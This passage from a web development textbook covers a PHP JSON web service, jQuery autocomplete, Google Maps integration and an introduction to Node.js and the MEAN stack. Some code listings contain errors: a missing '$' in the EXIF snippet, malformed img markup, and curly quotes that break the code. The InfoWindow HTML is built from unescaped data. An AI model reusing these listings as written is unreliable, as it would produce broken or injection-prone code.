comment out the line that changes the Content-Type header, or refer
directly to the log files of Apache, where the errors will still be readable.

Listing 19.21 Helper functions for



service
<?php 

/* various helper functions */ 

function getJsonErrorMessage() 

{ 

   return '{“error”: {“message”:“Value not found or Incorrect query string values”}}';

} 

/* 

   Checks if valid query string information was passed in GET  

*/ 

function isCorrectQueryStringInfo($paramName) { 

  if (isIdPresent($paramName)) { 

   return true; 

  } 

  return false; 

} 

/* 

   Checks for query string info that specifies which criteria to use

*/ 

function isIdPresent($paramName) { 

    $lower = strtolower($paramName); 

     

    if ($_SERVER['REQUEST_METHOD'] == 'GET' &&  

             isset($_GET[$lower]) && !empty($_GET[$lower])) { 

        return true; 

    } 

    return false; 

} 

?>

To test the service, simply open a browser and request the
serviceTravelCountries.php page with the appropriate query string
parameters. Unfortunately, however, if we request this service, it will return
an empty JSON document. Why is this the case?

The problem resides in the fact that we are passing an array of custom objects
to the json_encode() function. This function does not “know” how to create
the JSON representation of a custom object. For this function to work, the
class of the custom object being converted must provide its own
implementation of the JsonSerializable interface. This interface contains
only the single method jsonSerialize(). In this web service, we are



outputting JSON for objects of the Country class, so this class will need to
implement this method, as shown in Listing 19.22. We've chosen to use the
key of value for the country name, so that it will work with our jQuery plug-
in in the next section.

Listing 19.22 Adding
jsonSerializable() to Country class
class Country extends DomainObject implements JsonSerializable  

{    

  … 

  /* 

  This method is called by the json_encode() function that is part of PHP

  */ 

  public function jsonSerialize() { 

       return ['iso' => $this->ISO,  

               'name' => $this->CountryName, 

               'value' => $this->CountryName, 

               'area' => $this->Area, 

               'population' => $this->Population, 

               'continent' => $this->Continent,                

               'capital' => $this->Capital  

              ];  } 

}

Now the web service should work correctly, and the output can be seen in
Figure 19.15 .

Figure 19.15 Testing the



serviceTravelCountries.php
service in the browser

Figure 19.15 Full Alternative Text



19.7 Interacting Asynchronously
with Web Services
Although it's possible to consume web services in PHP, it's far more common
to consume those services asynchronously using JavaScript. With JavaScript
and jQuery's parsing libraries, it's easy to parse XML and JSON replies and
then update the user interface asynchronously.

Hands-on Exercises Lab 19
Exercise
Consuming a Web Service in JavaScript

We have already covered the basics of asynchronous request processing in
jQuery in Chapter 10, so we assume you are already familiar with that
material. This section will begin by using the service created in the previous
section to implement an autosuggest (also called autocomplete) textbox and
then move on to an example that uses another web service in conjunction
with Google Maps.

When using client-side requests for third-party services, there's also the
advantage of distributing requests to each client rather then making all
requests from your own server's IP address. Although API keys are still
sometimes required, often you can achieve more requests per day, because
the requests from clients count toward their IP address's total, not your
server's.

19.7.1 Consuming Your Own



Service
To achieve the nice dropdown autocomplete box illustrated in Figure 19.16 ,
you must not only have your own web service in PHP, but associated
JavaScript code to request data from your web service and display it
correctly.

Figure 19.16 Example
autosuggest textbox

Figure 19.16 Full Alternative Text

The code to connect the front-end client page to the web service you built is
shown in Listing 19.23. It listens for changes to an input box with id search.
With each change the code makes an asynchronous get request to the source
URL, which in this case is the script in Listing 19.20 from the previous
section that returns JSON results. Those results are then used by
autocomplete to display nicely underneath the input box. This takes
advantage of the autocomplete jQuery extension, which may have to be
included separately in the head of the page.

Listing 19.23 Autocomplete jQuery



plug-in refreshes the list of
suggestions to choose from
<script src=“http://code.jquery.com/jquery-3.1.0.min.js”></script>    

<script src=“https://code.jquery.com/ui/1.12.0/jquery-ui.js”></script>

<script>   

$( function() {  

    $(“#search”).autocomplete({ 

      // the URL of service, with the search text transmitted in

      // the term= field 

      source: “serviceTravelCountries.php”,  

      minlength:2,   // how many characters required before querying

      delay:1        // delay to prevent multiple events 

    });         

});     

</script>       

</head> 

<body> 

    <div class=“ui-widget”> 

        <label for=“search”>Find country: </label> 

        <input id=“search” > 

    </div> 

</body>

The biggest advantage of using your own web service is that you can change
it to meet your needs. In this case, the jQuery plug-in requires that the query
string to the web service contain the key term associated with the value of the
search box.

serviceTravelCountries.php?term=ca

Since you wrote the web service, your script already does that!

19.7.2 Using Google Maps
While you might be able to define some pretty good web services yourself,
there are many services out there that provide not only web services to
consume but platforms to consume them into. Google Maps is the industry



standard for web-mapping applications, and provides some very easy-to-use
APIs to work with. With Google Maps, you can leverage users' experiences
with those tools to build an impressive application in little time.
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Pro Tip
The EXIF data embedded in many image formats allows us to extract the
latitude and longitude from the image directly. In PHP we can easily check
for embedded data using exif_read_data as follows:

//extract the lat/lng in degrees minutes and seconds

$exif=exif_read_data($filename);

//extract the lat/lng in degrees minutes and seconds

$gps['LatDegree']=exif['GPSLatitude'][0];

$gps['LatMinutes']=exif['GPSLatitude'][1];

$gps['LatSeconds']=exif['GPSLatitude'][2];

$gps['LongDegree']=exif['GPSLongitude'][0];

$gps['LongMinutes']=exif['GPSLongitude'][1];

$gps['LongSeconds']=exif['GPSLongitude'][2];

To demonstrate using Google Maps with our own web service, consider our
photo-sharing website. We will show you how to build a map view that plots
user photos onto a map for specific cities.

To begin using Google Maps, you must do three things

1. Include the Google Maps libraries in the <head> section of your page.

2. Define <div> elements that will contain the maps.



3. Initialize instances of google.maps.Map in JavaScript and associate
them with the <div> elements.

Listing 19.24 shows the minimal code necessary to display a map centered on
Mount Royal University in Calgary as shown in Figure 19.18 . The size and
shape of the map are controlled through CSS while the options are all
controlled at initialization.

Listing 19.24 Webpage to output
one map centered on Mount Royal
University
<!doctype html> 

<html> 

<head> 

  <script src=“http://code.jquery.com/jquery-3.1.0.min.js”></script>

  <script type='text/javascript'  

    src='https://maps.googleapis.com/maps/api/js?key=your api 

    key'></script> 

  <style> 

     /* map element needs a styled size otherwise it doesn't appear at all */

     #map { 

           height: 500px; 

           width:  600px 

        }          

  </style> 

         

  <script> 

    $(function() {   

       // hard-coded latitude and longitude for demonstration purposes

       var ourLatLong = {lat: 51.011179 , lng: -114.132866 };  

       var ourMap = new google.maps.Map(document.getElementById('map'), {

            center: ourLatLong, 

            scrollwheel: false, 

            zoom: 14 

       }); 

    });          

  </script>         

</head> 

<body> 



<h2>Our Location</h2> 

<h3>This is where we work … </h3> 

<div id=“map”></div> 

</body> 

</html>

Notice as well that you need to supply your Google API key in the <script>
tag. Google prefers you to have separate API keys for separate projects; once
a key is generated, you have to enable it for the specific API; in this case it is
Google Maps JavaScript API.

The Map object's constructor is passed the HTML element that will contain
the map and a MapOptions object. While beyond the scope of this chapter,
there are dozens of options you can control about the map through the
MapOptions object including whether it's draggable, has keyboard control,
satellite imagery, and more. You make these decisions up front at
initialization time, and cannot change them after the map is loaded.

The most important of these options is the center option, which is used to
specify what location to show in the map. Google Maps expects a latitude
and longitude value packaged within a LatLng object (which is simply a
JavaScript object literal).

What's interesting in terms of web services is that this basic page with just a
simple map is actually using asynchronous web services in the background to
load the tiles that make up the background of the map. That means whenever
the map's view changes (or first loads), those image requests also go out to
Google as illustrated in Figure 19.17 .



Figure 19.17 Visualization of
the asynchronous requests for
tiles made by Google Maps

Figure 19.17 Full Alternative Text

To see a more realistic usage of Google Maps, examine the nearby Extended
Example.



Extended Example
In this example, we will display a city map (the specific city will be
determined via button clicks). On this map, we will display markers that
indicate images that exist in our database. Since you might have thousands of
photos uploaded, it wouldn't be efficient to load markers for images you can't
even see. A sophisticated application would likely respond to map drag
events or zoom changes to return images that fit within the current map
viewport.

For simplicity sake, this example makes use of a web service
(serviceTravelImages.php) to return a JSON array containing all the images
for the current city. To further simplify our code, this example hard-codes an
array of city objects that contains the id, name, latitude, and longitude for six
sample cities. A more realistic example would have likely pulled this
information from a web service.

The code generates the <button> elements from this array. For each button,
the code stores the id, latitude, and longitude via data- attributes. For
instance, for the London city button, the makeCityButtons() function
generates the following markup:

<button data-id=“2643743” data-lat=“51.50853” data-long=“-0.12574”>

London

</button>

In HTML5, the data-attribute can be used to store any arbitrary value within
an element. In our example, we store the id, latitude, and longitude within the
button to remove a potential data request. Thus, when the user clicks on a city
button, the click event handler for the button extracts the id, latitude, and
longitude from the data attributes, and then displays a Google Map for the
specified city latitude and longitude.

After displaying the map, the code then makes an asynchronous request of
the serviceTravelImages web service for a list of images for the current city.

An example of the JSON returned by serviceTravelImages for a given image



looks like the following:

{“id”:“16”,

 “title”:“Emirates Stadium”,

 “description”:“Home to Arsenal FC”,

 “iso”:“GB”,

 “city”:“2643743”,

 “latitude”:“51.556309”,

 “longitude”:“-0.107846”,

 “user”:“9”,

 “path”:“5855735700.jpg”}

Each returned image is then added as a Marker to the map. We want the user
to see thumbnails of these images, so the code also associates an InfoWindow
with each marker. An InfoWindow can contain any markup: our example
adds a link and a thumbnail of the image. The InfoWindow will be displayed
when the user clicks on a marker on the map. The finished product can be
seen in Figure 19.18 .

Figure 19.18 Finished extended



example
Figure 19.18 Full Alternative Text

The JavaScript code (the markup has been left out to save space) for the
example is as follows:

$(function() {

   /* reference to Google Map object */

   var cityMap;          

   /* hard coded but could have been pulled from web service */ 

   var cities = [

         {“id”:“264371”, “name”:“Athens”, “latitude”:37.97945,  

          “longitude”:23.71622},

         {“id”:“2950159”, “name”:“Berlin”, “latitude”:52.52437, 

          “longitude”:13.41053}, 

         … 

   ];       

   makeCityButtons(cities); 

        

   /*

   Displays a list of city buttons

   */

   function makeCityButtons(cities) {

      // loop through collection of cities

      for (var i=0; i< cities.length; i++) {

         // for each city, create a button and save city 

         // info in data attributes of button

         $('<button></button>', {

            'data-id': cities[i].id,

            'data-lat': cities[i].latitude,

            'data-long': cities[i].longitude,                

            click: function(e) {

               var btn = e.target;

               var cityId = btn.getAttributeNode(“data-id”).value;

               var cityLat = Number(btn.getAttributeNode(“data-

                             lat”).value);

               var cityLong = Number(btn.getAttributeNode(“data-

                              long”).value);

               // display map etc for city

               citySelected(cityId, cityLat, cityLong); 

            }

         }).text(cities[i].name).appendTo($('#buttons'));

      }



   }

    

   /*

   Handles city button click … display map 

   */

   function citySelected(cityId, cityLat, cityLong) {      

              

      // display city map

      initMap(cityLat, cityLong);

        

      // retrieve images for this city from web service

      var param = “city=” + cityId;  

      $.get(“serviceTravelImages.php”, param) 

            .done(function (data) {

               // create map markers for each image

               $.each(data, function(index,image) {

                  var src = 'images/square-small/' + image.path;

                  createMarker(cityMap, image.latitude, 

                     image.longitude, src, image.title, image.id);

               });

            

            })

            .fail(function (jqXHR) {

               alert(“Error: ” + jqXHR.status);

            })

            .always(function () {

               console.log(“serviceTravelImages request finished”);

            });

   }  

    

   /*

      Initializes the Google map

   */

   function initMap(cityLat, cityLong) {

        

      var cityLatLong = {lat: cityLat , lng: cityLong }; 

        

      cityMap = new google.maps.Map(document.getElementById('map'), {

         center: cityLatLong,

         scrollwheel: false,

         zoom: 14

      });

   }  

    

   /*

   Creates marker and info window using the passed information

   */

   function createMarker(map, latitude, longitude, src, title, imageID) {



        

      var imageLatLong = {lat:  latitude, lng: longitude }; 

      

      // Make an InfoWindow displaying small version 

      // of image and link

      var infoContent = '<a href=“imageDetails.php?id=' + 

             imageID + '”>';

      infoContent += '<img src=“' + src + '”<</a>';

      var infoWindow = new google.maps.InfoWindow({

           content: infoContent

      });

       

      var marker = new google.maps.Marker({

         position: imageLatLong,

         title: title,

         map: map

      });  

        

      // when marker is clicked, display InfoWindow for the marker

      marker.addListener('click', function() {

         infoWindow.open(map, marker);

      });        

   }

    

});



19.8 Chapter Summary
In this chapter we have covered the creation, consumption, and techniques of
web services. From XML through JSON, you saw how markup allows data to
be transferred between machines in a standardized way. PHP and JavaScript
libraries allow for easy server- or client-side service consumption, giving you
choices in how you want to implement your application. Finally we
consumed our web services together with Google Maps services in a simple
mashup that illustrated how web services can work together.

19.8.1 Key Terms
authentication

DOM extension

event or pull approach

geocoding

identity

in-memory approach

JSON

mashup

node

REST

reverse geocoding

root element



service

service-oriented architecture

service-oriented computing

SimpleXML

valid XML

web services

well-formed XML

XML declaration

XML parser

XMLReader

XPath

XSLT

19.8.2 Review Questions
1. 1. What is well-formedness and validity in the context of XML? How do

they differ?

2. 2. What is XSLT? How can it be used in web development?

3. 3. Using the XML document shown in Figure 19.5 , what would be the
XPath expressions for selecting artists from France? For selecting
paintings whose artists are from France?

4. 4. What are the in-memory and the event approaches to XML
processing? How do they differ? What are some examples of each



approach in PHP?

5. 5. Imagine that you are asked to provide advice on implementing web
services for a site. Discuss the merits and drawbacks of SOAP- and
REST-based web services and for XML versus JSON as a REST data
format.

19.8.3 Hands-On Practice

Project 1: CRM Admin

Difficulty Level: Basic

Overview
Demonstrate your ability to read in and display an XML file in PHP along
with the ability to filter that XML data using XPath expressions.

Hands-on Exercises
Project 19.1

Instructions
1. You have been provided with an XML file named employees.xml.

Examine this file.

2. Alter filter-employees.php so that it reads in employees.xml using
whichever method you wish (you will find that SimpleXML is the



easiest) and displays some of its information in a table as shown in
Figure 19.19 .

Figure 19.19 Completed
Project 1



Figure 19.19 Full Alternative Text

3. Add a simple form that allows the user to enter in an XPath expression
that filters the XML data using XPath as shown in Figure 19.20 .



Figure 19.20 Completed
Project 2

Figure 19.20 Full Alternative Text

Test
1. Test with a variety of XPath expressions.

Project 2: Art Store

Difficulty Level: Advanced

Overview
Demonstrate your ability to consume web services in PHP and JavaScript.
You will be modifying the files browse-galleries.php and single-gallery.php.

Hands-on Exercises
Project 19.2

Instructions
1. Examine and test browse-galleries.php that displays a list containing

links to all the museums in the Galleries table. This page is a convenient



starting point for this project.

2. Modify single-gallery.php so that it displays the museum information
from the Gallery table as well as the paintings from the gallery as shown
in Figure 19.21 .





Figure 19.21 Completed
Project 3

Figure 19.21 Full Alternative Text

3. Display the location of the gallery using Google Maps JavaScript API
(see Figure 19.20 ). This will require getting an API key from https://
developers.google.com as well as enabling the API via the Google API
dashboard. Add a marker to the map that shows the exact location of the
gallery. While you will be using JavaScript to generate the map, the
latitude and longitude coordinates need to be injected into the JavaScript
via PHP echo statements (since the latitude and longitude values come
from the Gallery table).

4. Display 24 related Flickr images using the Flickr web service. As in the
example from Section 19.5.1, you should use the flickr.photos.search
method. The search term will be the City field of the Gallery record
being displayed by the page. To get more relevant Flickr results, use the
place_id query string (instead of tags as in Section 19.5.1) in
conjunction with the FlickrPlaceID field. This will require a little bit of
extra research.

5. Use the Places Library feature of the Google Maps JavaScript API to
access and display additional place details (i.e., photos and reviews).
This will require additional research in the Places Library
documentation.

Test
1. Verify it works with a variety of galleries.

https://developers.google.com


Project 3: Share Your Travel
Photos

Difficulty Level: Advanced

Overview
Demonstrate your ability to consume web services in PHP and JavaScript.
You will be modifying two files: single-country.php and single-city.php.

Hands-on Exercises
Project 19.3

Instructions
1. Examine and test browse-countries.php that displays a list containing

links to all the countries (actually, only those with related images in the
ImageDetails table). This page is a convenient starting point for this
project.

2. Create a JSON web service that returns matching image titles similar to
that shown in Section 19.6.2 (except it is performing searches on the
ImageDetails table). For step 6 below, you will also need to create
another JSON web service that returns all the information (City table
information as well as matching images) for a single city (specified by
the city identifier).

3. Add autosuggest capability to the search text box via JavaScript/jQuery.



It should asynchronously make use of the search painting titles created
in step 1.

4. In the single-country.php page, display information for the country
along with a list of all the images for the specified country as shown in
Figure 19.21 . Display all the cities with related images in the
ImageDetails table. Finally, display a static map using the Google
Static Maps API. This will require getting an API key from https://
developers.google.com as well as enabling the API via the Google API
dashboard.

5. In the single-city.php page, you will use PHP to display images for the
current city, and a list of cities from the same country as the current city.

6. You will use JavaScript to display a dynamic map using the Google
Maps JavaScript API. This will require consuming the city web service
created in step 2. The web service will provide the latitude and longitude
of the city; the web service will also provide an array of images (from
ImageDetails) in the city. These will be displayed as clickable markers
on the map. The code in the Extended Example in this chapter provides
most of the code required for this task.

Test
1. You can use browse-countries.php to help find countries and cities to

test.
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Chapter Objectives
In this chapter you will learn …

What are frameworks and what are some of the most popular JavaScript
frameworks.

What is the MEAN stack.

How to use Node.js to create push-based applications.

Using JavaScript as a data query language with MongoDB.

What is AngularJS and how to use it to create single-page applications.

So far in the book you have learned the basics of JavaScript as well as
jQuery, the popular general purpose framework for simplifying your
JavaScript code. In this chapter, we will explore JavaScript frameworks more
generally and then examine the new JavaScript-based MEAN stack as an
example of a contemporary JavaScript framework. We will see that
JavaScript has moved onto the server with Node.js and into the database
management system with MongoDB. The chapter will end by briefly
examining AngularJS, a popular, but complicated, front-end MVC-type
framework.



20.1 JavaScript Frameworks
You may recall from Chapter 10 that a software framework is a reusable
library of code that you can utilize to simplify, improve, and facilitate the
process of developing an application. Ideally frameworks will improve
developer productivity (by performing common tasks for the developer or
simplifying complex tasks), reduce bugs (presumably the framework is
already well tested and reliable), and increase maintainability (by imposing
design standards and best-practice patterns). However, using a framework
typically involves an additional learning curve for the developer. At worst, a
framework will obfuscate simple code with a cacophony of unnecessary
abstractions and will couple the success of a project to an externality.

JavaScript is blessed (or cursed) with a plethora1 of frameworks. The first
edition of this textbook briefly examined Backbone as an example of a MVC
JavaScript framework. Deciding on what framework to cover in this revised
edition was not an easy task, as we did not want to put the effort into writing
about something that has limited or declining interest in the real-world of
web development two or three years from now. As well, as mentioned above,
frameworks have a learning curve associated with them, so within the
confines of a textbook chapter, it has to be clear enough to be covered in a
dozen pages.

1 While there is no accepted official collective noun for a group of software
frameworks, inspired by the fun collective nouns used for groups of animals,
we nominate nuisance (as in a nuisance of cats), clamor (as in a clamor of
rooks), or chatter (as in a chatter of chickens).

The intent of this chapter is not to comprehensively teach one of these
frameworks; rather we are going to try to provide some insight into the
contemporary JavaScript framework environment, and provide you with a
“big picture” understanding of one related set of frameworks.

20.1.1 JavaScript Front-End



Frameworks
As mentioned above, there are a lot of JavaScript frameworks available.
Indeed there is even an Internet meme called “JavaScript fatigue” that
encapsulates the feeling of bewilderment and uncertainty around the pace of
change in the broader JavaScript development ecosystem. Why is this the
case? Partly this is due to JavaScript's success. JavaScript has become one of
the most important (or indeed perhaps the most important) programming
languages in the world. It is being used for far more than just beautifying the
user experience of websites. But because the intrinsic mishmash of
technologies (HTML for structure, CSS for appearance, JavaScript for front-
end behavior, PHP/Ruby/ASP.NET/etc. for server-side resources) involved in
web development, it doesn't take long before a typical web project becomes a
very difficult thing to understand, extend, and maintain. The motivation
behind these JavaScript frameworks is to make this problem less acute.

Since JavaScript is first and foremost a language that runs on the browser, it
should be no surprise that most of the JavaScript frameworks are focused on
helping with front-end development. One early influential front-end
framework was Backbone, which used a variation of the MVC design pattern
and tried to bring contemporary software development patterns to JavaScript
development. While Backbone is still active and appears to be used by
numerous large sites (see Figure 20.1 ), at the time of writing (summer 2016),
three other front-end frameworks appear to have captured the most interest of
developers. They are Ember, Angular, and React (see Figure 20.1 for some
barometers of popularity amongst developers).



Figure 20.1 Popularity of some
JavaScript frameworks

Figure 20.1 Full Alternative Text

Ember is considered to be an “opinionated” framework in that it forces
developers to adopt a known and well-regarded approach to structuring and
implementing a web application. It uses a variant of the MVC pattern, so
developing with Ember involves writing models to represent your data,
templates to handle the presentation, data binding to connect the view and the
model, and routing to describe how users interact with the application. We
will examine these terms in more detail in our section on Angular.

Angular has many similarities to Ember (i.e., models, templates, and routing),
and has the added advantage of being partially maintained by Google. It has a
substantial learning curve; Angular 1.0 especially had several challenging
conceptual complexities such as directives, controllers, modules, and scopes.
Angular 2.0 removes some of these complexities, but it introduces its own
additional learning curve in that it encourages developers to use the
JavaScript preprocessor TypeScript.



React is a newer framework developed by Facebook. Unlike Ember and
Angular, React is not a complete MVC-like framework; instead it focuses on
the view. This means React is much more lightweight. It doesn't involve
itself, for instance, with server communication or models, two key features of
Ember and Angular. There is also a React Native, which you can use to
develop native apps for iOS and Android, thereby theoretically leveraging
your web development knowledge when constructing native apps for these
two platforms.

Pro Tip
Server-based frameworks are much more established in the older server-side
environments such as PHP, Ruby, and ASP.NET. For PHP, some of the most
popular frameworks include Laravel, Symphony, CakePHP, and the Zend
Framework. These more established frameworks provide a richer feature set
than the newer JavaScript ones, such as auto-generated database models,
routing, session and cache management, template layouts, authentication
systems, and more.

20.1.2 JavaScript Server
Frameworks
JavaScript is mainly a programming language used within the browser. But
one of the exciting growth areas in the JavaScript world has been the
adoption of JavaScript as a server-side programming language. One key
advantage of using JavaScript on the server is that a development team only
needs expertise in a single programming language.

Perhaps the main reason behind the growth of interest in server-side
JavaScript is the power provided by Node.js, which is partly a web server
environment, and partly a framework for developing applications. We will
explore Node.js in more detail in the next section, but at the time of writing,
several JavaScript server frameworks have been developed that are built on



top of the Node.js environment such as Express and Sails.

The growth of interest in Node.js and server-side JavaScript in general has
led to the rise of a new web software stack to compete with LAMP (Linux-
Apache-MySQL-PHP) or WISA (Windows-IIS-SQL Server-ASP.NET). This
new stack is often referred to as the MEAN stack, which stands for
MongoDB-Express-Angular-Node.js.

This stack is not functionally equivalent to LAMP or WISA. The MEAN
stack typically runs on a Linux-based operating system, though like the AMP
part of LAMP, it can run fine on Macintosh and Windows-based machines.
As well, Node.js isn't a web server and doesn't really replace a program like
Apache (indeed it is common for Node.js applications to be on a web server
running Apache). Node.js does however have an HTTP library and can be
used to write programs with web server functionality. A further difference
can be seen in the “A” in MEAN, which stands for Angular, a client-side
JavaScript framework, which has no functional equivalent in LAMP or
WISA.

One of the fascinating aspects of the MEAN stack is that JavaScript is
essential to all four components. Even MongoDB, the database portion of this
stack, uses JavaScript as its query language.

The remainder of this chapter will look at each of the four components of the
MEAN stack from a JavaScript perspective. However, it is worth stressing
that this single chapter will only scratch the surface of each of these
components.

Dive deeper

JavaScript and Employment
One of the common questions we get asked by our students is “What is the
hot web technology employers are looking for?” The answer to such a



question is usually “it depends.” Employment trends certainly vary from city
to city. Some industries are more partial to certain technology stacks, while
smaller startups tend to have their own technology culture. In general, we
often advise our students in the virtues of learning newer technologies
because there is more potential for growth and the competition between job
applicants is not as strong since there will be a smaller pool of knowledgeable
applicants.

You can see this in the charts in Figure 20.2 , which come from the Job
Trends tool in the job site Indeed.com.1 The first chart shows that
unsurprisingly there are more job ads for people with experience in well-
established programming environments such as Java and .NET. This would
seem to indicate that a student should focus his or her energies on learning
one of these in-demand technologies. Certainly, this isn't a bad strategy for a
student. But the third chart tells the other side of the story. It shows that jobs
in an older technology such as Java or PHP have more people apply for them;
this is no surprise: the pool of potential employees who have experience in an
older technology is larger than that for a new technology. As a student
entering the job market this is worth thinking about: would you rather
compete against a developer with 10 years of experience in a technology, or
compete against one with two years?



Figure 20.2 Job posting data in
web development areas [from
Indeed.com]
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The second chart is also interesting in regards to this chapter. It shows the
relative growth relative to the other technologies in the chart. As you can see,
the relative growth of Node.js jobs has been very impressive, which indicates
that this is likely a good technology to learn for the future. Interestingly, we
tried adding Angular to this second chart, but its relative growth was so
strong that Node.js and the other technologies became indistinguishable on
the y-axis. It also had by far the fewest number of applicants per job posting.
Clearly, Angular is also a great technology for new students to learn for
future employment potential.



20.2 Node.js
Node.js was developed by Ryan Dahl in 2009 as a better way of handling
concurrency issues between clients and servers. It made use of the open
sourcing of the Chrome's internal JavaScript engine V8 (which is written in
C++) in 2008. Node.js is an event-driven execution environment for server-
side web applications. It is in some ways equivalent to PHP in that a Node.js
application will often generate HTML in response to HTTP requests, except
it uses JavaScript as its programming language. But while that comparison
with PHP might be comforting, it is also misleading in many ways. As you
learned in earlier chapters, PHP code is typically interjected into HTML
markup, thus simplifying the process of writing server-side web applications.
As you will shortly discover, Node.js is much less friendly from a developer
perspective. If you want to send HTML to the server, you do so via
response.write() calls, but not before also writing the custom code to send
the appropriate HTTP headers. Indeed, it reminds us of Java servlet
development from 1997!

20.2.1 The Architecture of Node.js
If Node.js is so much extra work for the developers, then what is the reason
for all this interest in it? Node.js provides two unique advantages over PHP,
Ruby on Rails, or ASP.NET.

First, Node.js really shines in push-based web applications. What does this
mean exactly? Web applications that we have explored in this book up to
now have all been pull-based. A web server sits idle until you make a request:
we would say then that a user pulls information/services from the server. That
is, the user is in charge of making the request, and it is the server's job to
respond to that request.

While the pull-based nature of the web works just fine, there are certain
categories of application that needs to be push-based. That is, some



applications need to push information from the server to the client. Phone
calls are push-based: the master phone system pushes out a message
(incoming call) to the phone and it responds (by ringing).

The classic example of a push web application is a chat facility housed within
a web page. As illustrated in Figure 20.3 , the server has to respond to
incoming chat messages by pushing them out to all listening parties in the
chat. While one can construct this type of application using an environment
like PHP, the Node.js environment is especially well suited to constructing
this type of application. Indeed, many online Node.js tutorials build a chat
server as the first sample application after the obligatory “Hello World” one.



Figure 20.3 Examples of a push
web application

Figure 20.3 Full Alternative Text

The second key advantage Node.js provides is of interest perhaps more to
SysOps and DevOps personal. Node.js uses a nonblocking, asynchronous,
single-threaded architecture. What does that mean exactly? You may recall
back in Chapter 11, you learned that Apache runs applications like PHP using
either a multiprocessing or multithreaded model. If you look at Figure 11.7
from that chapter, you can see that different requests (even for the same page)
are executed independently of one another in separate processes or separate
threads. The advantage of this approach is that a problem with the execution
of one thread/process will not affect other threads. The disadvantage of this
approach is that there is a fixed amount of available processes available
(typically in the 150-250 range) and a fixed number of total threads available
(typically in the 25-50 per process); if none are free, then a request will have
to wait. As well, even though Linux is very efficient with switching between
processes/threads (called context switching), there still is a time cost (about
65 microseconds) involved in every context switch. While this doesn't sound
like much of a time cost, once you have about 4000 concurrent connections
or requests, your server's CPU will be spending more of its time switching
between processes than actually executing the processes. This is one of the
reasons why busy sites need to make use of server farms.

Node.js, in contrast, uses just a single thread. This means that no time is spent
context switching between threads, which is a significant benefit for busy
sites. But how, you may ask, can a single thread possibly handle many
simultaneous requests? The key to the effectiveness of Node.js is that it is a
nonblocking asynchronous architecture. Figure 20.4 illustrates the typical
blocking approach (e.g., PHP) using an analogy from real life, while Figure
20.5 shows the nonblocking approach used by Node.js.



Figure 20.4 Blocking thread-
based architecture
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Figure 20.5 Nonblocking single-
thread architecture
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The analogy with a restaurant is not as fanciful as it may seem. It would be an
inefficient restaurant indeed that assigned a single person to handle all the
tasks required for each table. After taking an order (i.e., receiving an HTTP
request), we wouldn't want the waiter to walk to the bar, mix the drinks, then
walk to the kitchen, and start cooking the order. As can be seen in  in
Figure 20.4 , a thread can be blocked while it waits for some other task (for
instance, a database retrieval). In our restaurant example, imagine the poor
customers impatiently wondering where their dinner is while the
waiter/bartender/cook is waiting for someone else to finish grocery shopping
for an ingredient needed in the order!

Figure 20.5 illustrates the nonblocking architecture used by Node.js. There is
only a single worker servicing all the requests in a single event loop thread.
This worker can only be doing a single thing a time. But other tasks (mixing
drinks, getting groceries, and cooking the meals) are delegated to other
agents. The bartenders might be making drinks for many tables; in the same
way the kitchen staff is cooking several meals at a time. We would say that
this is an asynchronous system. When a task is completed (“drink for table 3
is ready!”), it signals (rings a bell maybe) that the task is done, and the event
thread will return to pick up and deliver the order. This might seem like too
much work for the solitary waiter, but as you know from real-life restaurants,
a single waiter can actually service many tables simultaneously due to this
delegation of tasks.

What does this scenario look like in programming code? In PHP, you might
find yourself writing code that looks like this:

if ( $result = $db->fetchFromDataBase($sql) ) { 

   // do something with results 

   … 

} 

if ( $data = $service->retrieveFromService($url, $querystring) ) {

   // do something with data 

   … 

} 

// doesn't need $result or $data 

doSomethingElseReallyImportant();



In this example, the calls to fetch and retrieve within the two conditionals
are blocking calls, in that execution in the thread will halt until the methods
return with their results. The doSomethingElseReallyImportant() function
cannot execute until the two previous functions are finished executing.

In JavaScript we can write this same code in a non-blocking manner.

fetchFromDataBase(sql, function(results) { 

   // do something with results 

   … 

}); 

retrieveFromService(url, querystring, function(data) { 

   // do something with data 

   … 

}); 

// this isn't blocked by two previous lines 

doSomethingElseReallyImportant();

In this case there is no blocking and the
doSomethingElseReallyImportant() function is not delayed. JavaScript is
thus the ideal language for this type of asynchronous architecture because so
many of the tasks you do with the language involve passing callback
functions to tasks or agents who will make use of the callback at some point
in the future.

Since Node.js avoids the significant time costs incurred by blocking and
context switching, it can handle a staggeringly large number of simultaneous
requests (as high as 100,000). When Walmart switched to Node.js on Black
Friday (the day with the highest request load) in 2014, its server CPU
utilization never went past 2% even with millions of users.2 Of course the big
drawback with this approach is that a crash while servicing one request
affects all requests.

Who is using Node.js?
While Node.js can be used for traditional informational websites, it is not
really ideal for it. Node.js is more suited to developing DIRT (data-intensive
real-time) applications that need to interact with distributed computers.



Companies from startups to large companies such as eBay, Netflix, Mozilla,
GoDaddy, Groupon, Yahoo, Microsoft, Uber, PayPal, and LinkedIn are using
Node.js for a wide variety of different projects. It is an ideal technology for
providing web services. Complicated browser-based applications that mimic
desktop applications but rely on extensive back-end processing are ideal for
Node.js. Applications that need fast real-time, push-based responses, such as
mobile games or messaging programs, are ideal for Node.js.

20.2.2 Working with Node.js
Just like with PHP, to work with Node.js you need to have the software
installed on a web server. Also like with PHP, you have a variety of different
options to do so. You can install Node.js locally on your development
machine. You may have access to a web server that already has Node.js
installed. Or you may want to make use of preconfigured cloud environment
that already has Node.js installed.

Hands-on Exercises Lab 20
Exercise
Using Node.js

Let's create a simple Node.js application. We will begin with the usual Hello
World beginning. Create a new file, enter the code shown in Listing 20.1 into
that file, and save it as hello.js.

Listing 20.1 Node.js Hello World
// Load the http module to create an HTTP server 

var http = require('http'); 

// Configure HTTP server to respond with Hello World to all requests

var server = http.createServer(function (request, response) { 



   response.writeHead(200, {“Content-Type”: “text/plain”}); 

   response.write(“Hello this is our first node.js application\n”);

   response.end();  

}); 

// Listen on port 7000 on localhost 

server.listen(7000, “localhost”); 

// display a message on the terminal 

console.log(“Server running at http://127.0.0.1:7000/”);

How do you think you will run this application? If you try opening this file
directly in the browser, it will not work for the same reasons why opening a
PHP file directly in the browser doesn't work. We have to tell Node.js to
execute this file. How do you do that? If you have installed Node.js locally,
you will need to open a command/terminal window, navigate to the folder
where you have saved this file, and enter the following command:

node hello.js

This should display a message that the server is running at a specific URL.
You now need to switch to your browser, and make a request for the same
URL in the message. If it worked, you should see something similar to that
shown in Figure 20.6 .

Figure 20.6 Running the Hello
World example



Figure 20.6 Full Alternative Text

So what is this code doing? The first line of noncomments is already
interesting. It tells the Node.js runtime to make use of a module named http.
A module is simply a JavaScript function library with some additional
